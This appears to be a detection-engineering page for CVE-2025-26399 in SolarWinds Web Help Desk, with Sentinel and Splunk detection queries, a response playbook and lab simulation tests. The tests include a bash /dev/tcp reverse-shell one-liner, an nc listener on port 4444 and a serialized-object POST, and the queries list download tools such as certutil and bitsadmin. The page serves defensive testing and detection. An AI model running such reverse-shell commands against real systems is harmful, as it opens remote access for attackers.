CVE-2025-26399 Microsoft Sentinel · KQL

Detect SolarWinds Web Help Desk Deserialization of Untrusted Data (CVE-2025-26399) in Microsoft Sentinel

CVE-2025-26399 is a deserialization of untrusted data vulnerability (CWE-502) in SolarWinds Web Help Desk. Exploitation allows remote attackers to execute arbitrary code by sending maliciously crafted serialized Java objects to the application. This vulnerability is listed in CISA's Known Exploited Vulnerabilities catalog, indicating active exploitation in the wild. SolarWinds Web Help Desk is widely deployed in enterprise and government environments for IT service management, making this a high-priority target for threat actors seeking privileged network access.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

KQL Detection Query

Microsoft Sentinel (KQL)
kusto 
let WHD_Hosts = dynamic(["whd", "helpdesk", "webhelpdesk"]);
let SuspiciousProcs = dynamic(["cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "certutil.exe", "bitsadmin.exe", "curl.exe", "wget.exe"]);
union
(
  DeviceProcessEvents
  | where InitiatingProcessFileName =~ "java.exe" or InitiatingProcessParentFileName =~ "java.exe"
  | where FileName in~ (SuspiciousProcs)
  | where DeviceName has_any (WHD_Hosts) or FolderPath has "WebHelpDesk"
  | project TimeGenerated, DeviceName, AccountName, InitiatingProcessCommandLine, FileName, ProcessCommandLine, FolderPath
  | extend DetectionReason = "Suspicious child process spawned from Java (WHD deserialization)"
),
(
  DeviceNetworkEvents
  | where InitiatingProcessFileName =~ "java.exe"
  | where DeviceName has_any (WHD_Hosts) or InitiatingProcessFolderPath has "WebHelpDesk"
  | where RemotePort in (80, 443, 4444, 8080, 8443, 9001)
  | where not (RemoteIPType == "Private" and RemotePort in (80, 443, 8080, 8443))
  | project TimeGenerated, DeviceName, AccountName, InitiatingProcessCommandLine, RemoteIP, RemotePort, RemoteUrl
  | extend DetectionReason = "Outbound network from WHD Java process (possible reverse shell)"
),
(
  DeviceFileEvents
  | where InitiatingProcessFileName =~ "java.exe"
  | where DeviceName has_any (WHD_Hosts) or InitiatingProcessFolderPath has "WebHelpDesk"
  | where FileName endswith ".exe" or FileName endswith ".dll" or FileName endswith ".ps1" or FileName endswith ".bat" or FileName endswith ".sh"
  | where FolderPath !has "WebHelpDesk"
  | project TimeGenerated, DeviceName, AccountName, InitiatingProcessCommandLine, FileName, FolderPath, SHA256
  | extend DetectionReason = "Binary/script drop by WHD Java process"
)
| sort by TimeGenerated desc
critical severity high confidence

Detects indicators of CVE-2025-26399 exploitation against SolarWinds Web Help Desk: suspicious child processes spawned from the WHD Java runtime, unexpected outbound network connections from the WHD JVM, and file drops (executables/scripts) by the Java process outside the application directory.

Data Sources

Microsoft Defender for EndpointMicrosoft Sentinel DeviceProcessEventsMicrosoft Sentinel DeviceNetworkEventsMicrosoft Sentinel DeviceFileEvents

Required Tables

DeviceProcessEventsDeviceNetworkEventsDeviceFileEvents

False Positives & Tuning

  • Legitimate Java-based administrative tools running on the same host as Web Help Desk may trigger process-based rules
  • Scheduled maintenance tasks or automated patching processes spawning subprocesses from java.exe
  • Internal monitoring or APM agents (e.g., Dynatrace, AppDynamics) making outbound connections from the JVM
  • Software update mechanisms within Web Help Desk itself writing files to non-standard paths during upgrades

Other platforms for CVE-2025-26399

Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulate Java Deserialization Reverse Shell Spawn (Windows)

    Expected signal: Sysmon Event ID 1: ProcessCreate with ParentImage=java.exe, Image=cmd.exe, CommandLine containing 'whoami'; DeviceProcessEvents in MDE showing same relationship

  2. Test 2Simulate WHD Java Process Network Beacon to C2 Port

    Expected signal: Sysmon Event ID 3: NetworkConnect from java.exe to 127.0.0.1:4444; MDE DeviceNetworkEvents showing RemotePort=4444 from InitiatingProcessFileName=java.exe

  3. Test 3Simulate Malicious Class File Drop by WHD JVM (Linux)

    Expected signal: Linux auditd or Sysmon-for-Linux: file creation event under /tmp owned by webhelpdesk user, initiated by java process; file content containing shell redirect syntax

  4. Test 4Reproduce Serialized Object HTTP POST to WHD Endpoint (Lab)

    Expected signal: WAF/proxy logs showing HTTP POST with Content-Type: application/octet-stream and body beginning with AC ED 00 05; WHD application logs showing deserialization attempt (may log exception)

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Confirm the affected host is running SolarWinds Web Help Desk and identify its version. Check if the version predates the WHD 12.8.7 Hotfix 1 patch (released per the official release notes). Unpatched instances are confirmed vulnerable.
  2. Review WHD application logs (typically under <WHD_INSTALL>/logs/) and Java runtime logs for unexpected deserialization stack traces, ClassNotFoundException errors for unknown classes, or references to exploit frameworks (e.g., ysoserial gadget chains such as CommonsCollections, Spring, Groovy).
  3. Correlate the timestamp of the first suspicious alert with web access logs (WHD HTTP access logs or upstream proxy/WAF logs) to identify the originating source IP, HTTP method, endpoint targeted, and payload size — large POST bodies to API or ticket-handling endpoints are a common delivery vector for deserialization payloads.
  4. Determine whether lateral movement has occurred: check for new user accounts created on the WHD host, scheduled tasks or services installed post-compromise, and outbound connections to external IPs initiated by the java.exe process.
  5. Check CISA KEV and threat intel feeds for known IOCs (IPs, file hashes) associated with active exploitation campaigns targeting CVE-2025-26399 and cross-reference with your environment's network telemetry.

Containment

  1. Isolate the affected WHD host from the network immediately if active exploitation is confirmed or strongly suspected — remove it from the production VLAN and block inbound/outbound traffic at the firewall/NAC layer. Preserve disk and memory images before isolation if forensic capture is feasible.
  2. Apply SolarWinds WHD 12.8.7 Hotfix 1 or the latest available patch to all WHD instances. If patching is not immediately possible, implement WAF rules to block HTTP requests with serialized Java object magic bytes (0xACED 0x0005) targeting WHD endpoints, and restrict access to the WHD management interface to trusted admin IP ranges only.

Evidence Collection

  1. Capture a full memory dump of the WHD Java process (e.g., using ProcDump on Windows: `procdump -ma <pid> whd_java.dmp`) to recover in-memory deserialization payloads, loaded malicious classes, and attacker shellcode before the process is terminated.
  2. Collect and preserve WHD application logs, Java stdout/stderr logs, Windows Security Event Logs (Event IDs 4688, 4624, 4625, 4672), Sysmon logs, and network flow/firewall logs spanning 48 hours before the first detection timestamp. Hash all collected artifacts and store to a write-protected evidence share.

Escalation Criteria

  • !Escalate to incident response if post-exploitation activity is confirmed: new privileged user accounts, persistence mechanisms (scheduled tasks, services, registry run keys), or lateral movement indicators detected beyond the initial WHD host.
  • !Escalate immediately if the WHD host has access to sensitive internal systems (Active Directory, financial systems, customer PII databases) and successful authentication or data access from the compromised host to those systems is detected in logs.

Investigation Guide

Related Techniques

[object Object][object Object][object Object][object Object]

Forensic Artifacts

  • >WHD application logs at <WHD_INSTALL>/logs/application.log and whd.log — look for Java deserialization exceptions (e.g., java.io.InvalidClassException, ClassNotFoundException) and unexpected class instantiation
  • >Windows Security Event Log Event ID 4688 (process creation) with ParentProcessName=java.exe spawning cmd.exe or powershell.exe
  • >Sysmon Event ID 1 (process creation) and Event ID 3 (network connection) from java.exe PID associated with the WHD service
  • >Java class cache artifacts: any .class files written to temp directories (e.g., %TEMP%, /tmp) by the WHD JVM after the compromise window
  • >Network PCAP: HTTP POST requests to WHD endpoints containing binary content beginning with magic bytes AC ED 00 05 (Java serialized object header)

Tuning Guidance

Begin by baselining normal Java subprocess behavior on WHD hosts: identify any legitimate child processes (e.g., shell wrappers for integrations) and add them to an allowlist scoped by full command-line hash or path. Reduce false positives in network-based rules by whitelisting known SolarWinds update servers and monitoring SaaS endpoints. For process-based rules, consider requiring at least two corroborating signals (e.g., suspicious child process AND outbound connection, or child process AND new file write) before triggering a high-severity alert, to reduce alert fatigue in environments with complex Java-based tooling on the WHD host. Adjust hostname-matching patterns to reflect your actual WHD server naming conventions.

Hunting Queries

Hunt for any process spawned by WHD Java runtime across the environment, summarised by host and child process — reveals attacker reconnaissance and post-exploitation tooling even when individual events were not alerted on

Hunting — KQL
kql 
DeviceProcessEvents
| where InitiatingProcessFileName =~ "java.exe"
| where InitiatingProcessCommandLine has_any ("WebHelpDesk", "whd", "helpdesk")
| where FileName in~ ("cmd.exe", "powershell.exe", "wscript.exe", "cscript.exe", "mshta.exe", "certutil.exe", "net.exe", "net1.exe", "whoami.exe", "ipconfig.exe", "systeminfo.exe", "nltest.exe")
| summarize FirstSeen=min(Timestamp), LastSeen=max(Timestamp), CommandLines=make_set(ProcessCommandLine), Count=count() by DeviceName, FileName, InitiatingProcessFileName
| sort by Count desc
Hunting — SPL
spl 
index=* sourcetype IN ("sysmon", "WinEventLog:Microsoft-Windows-Sysmon/Operational") EventCode=1
| eval whd_parent = if(match(lower(ParentImage), "java\.exe") AND (match(lower(ParentCommandLine), "webhelpdesk|whd") OR match(lower(Computer), "whd|helpdesk")), 1, 0)
| where whd_parent=1
| stats earliest(_time) AS first_seen, latest(_time) AS last_seen, values(CommandLine) AS command_lines, count AS event_count BY Computer, Image
| sort - event_count

Hunt for unexpected outbound network connections from WHD Java processes to external IPs on non-standard ports — indicative of reverse shell, C2 beaconing, or data exfiltration post-exploitation

Hunting — KQL
kql 
DeviceNetworkEvents
| where InitiatingProcessFileName =~ "java.exe"
| where InitiatingProcessCommandLine has_any ("WebHelpDesk", "whd")
| where RemoteIPType != "Private"
| where RemotePort !in (80, 443, 8080, 8443)
| summarize Connections=count(), Ports=make_set(RemotePort), RemoteIPs=make_set(RemoteIP) by DeviceName, InitiatingProcessCommandLine
| sort by Connections desc
Hunting — SPL
spl 
index=* sourcetype IN ("sysmon", "WinEventLog:Microsoft-Windows-Sysmon/Operational") EventCode=3
| where match(lower(Image), "java\.exe") AND NOT match(DestinationIp, "^10\.|^172\.(1[6-9]|2[0-9]|3[01])\.|^192\.168\.")
| where DestinationPort NOT IN (80, 443, 8080, 8443)
| stats count BY SourceIp, DestinationIp, DestinationPort, Image
| sort - count

Atomic Red Team Tests

Test 1 Simulate Java Deserialization Reverse Shell Spawn (Windows)
windows

Simulates the post-exploitation behavior of CVE-2025-26399 by having a Java process (mimicking the WHD JVM) spawn cmd.exe, as would occur when a deserialized gadget chain executes OS commands. Lab environment only.

Command

powershell 
java -cp . -Dwhd.home=C:\WebHelpDesk -jar C:\atomictest\SimulateDeserialExec.jar "cmd.exe /c whoami > C:\Temp\whd_rce_test.txt"

Cleanup

powershell 
Remove-Item C:\Temp\whd_rce_test.txt -ErrorAction SilentlyContinue; Remove-Item C:\atomictest\SimulateDeserialExec.jar -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: ProcessCreate with ParentImage=java.exe, Image=cmd.exe, CommandLine containing 'whoami'; DeviceProcessEvents in MDE showing same relationship

Expected Detection

KQL and SPL rules detecting java.exe spawning cmd.exe with WHD-related parent command line; CrowdStrike ProcessRollup2 event for the child cmd.exe

Test 2 Simulate WHD Java Process Network Beacon to C2 Port
windows

Simulates post-exploitation C2 beaconing by initiating a TCP connection from a Java process (named to resemble WHD) to a local listener on a common reverse shell port (4444). Lab environment only.

Command

powershell 
Start-Job { nc -lvp 4444 }; java -Dwhd.home=C:\WebHelpDesk -cp . NetworkTest 127.0.0.1 4444

Cleanup

powershell 
Stop-Job *; Get-Job | Remove-Job

Expected Telemetry

Sysmon Event ID 3: NetworkConnect from java.exe to 127.0.0.1:4444; MDE DeviceNetworkEvents showing RemotePort=4444 from InitiatingProcessFileName=java.exe

Expected Detection

Network-based detection rules flagging WHD Java process connecting to port 4444; QRadar AQL and Chronicle YARA-L rules should trigger on the destination port with java.exe initiator

Test 3 Simulate Malicious Class File Drop by WHD JVM (Linux)
linux

Simulates the artifact left by a deserialization exploit when a malicious gadget chain writes a payload class or shell script to disk. Mimics WHD JVM behavior on Linux deployments.

Command

bash 
sudo -u webhelpdesk java -Dwhd.home=/opt/WebHelpDesk -cp /opt/atomictest SimulateFileDrop /tmp/whd_payload_test.sh 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'

Cleanup

bash 
rm -f /tmp/whd_payload_test.sh /tmp/whd_payload_test.class

Expected Telemetry

Linux auditd or Sysmon-for-Linux: file creation event under /tmp owned by webhelpdesk user, initiated by java process; file content containing shell redirect syntax

Expected Detection

Elastic EQL and Chronicle rules detecting file write by java process outside the WHD installation directory; Sumo Logic and Splunk queries alerting on script file creation by java.exe equivalent

Test 4 Reproduce Serialized Object HTTP POST to WHD Endpoint (Lab)
linux

Sends a benign but syntactically valid Java serialized object (magic bytes AC ED 00 05) via HTTP POST to a WHD endpoint, simulating the delivery mechanism of CVE-2025-26399 without executing any payload. Requires a lab WHD instance.

Command

bash 
python3 -c "
import socket, struct
# Java serialized object magic bytes + version (benign, no gadget chain)
payload = b'\xac\xed\x00\x05' + b'\x74\x00\x04test'
import urllib.request, urllib.error
req = urllib.request.Request('http://whd-lab-host:8081/helpdesk/WebObjects/Helpdesk.woa/ws/SomeEndpoint', data=payload, method='POST')
req.add_header('Content-Type', 'application/octet-stream')
try:
    urllib.request.urlopen(req, timeout=5)
except Exception as e:
    print('Response/Error (expected):', e)
"

Cleanup

bash 
No cleanup required — no files written, no persistence established

Expected Telemetry

WAF/proxy logs showing HTTP POST with Content-Type: application/octet-stream and body beginning with AC ED 00 05; WHD application logs showing deserialization attempt (may log exception)

Expected Detection

WAF signature for Java serialized object magic bytes; network IDS/Suricata rule matching AC ED 00 05 in HTTP POST body; log-based detection in Splunk/Sentinel for WHD endpoint receiving binary payloads

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1027Obfuscated Files or InformationT1136Create Account

Same Tactic: Initial Access

Popular Detections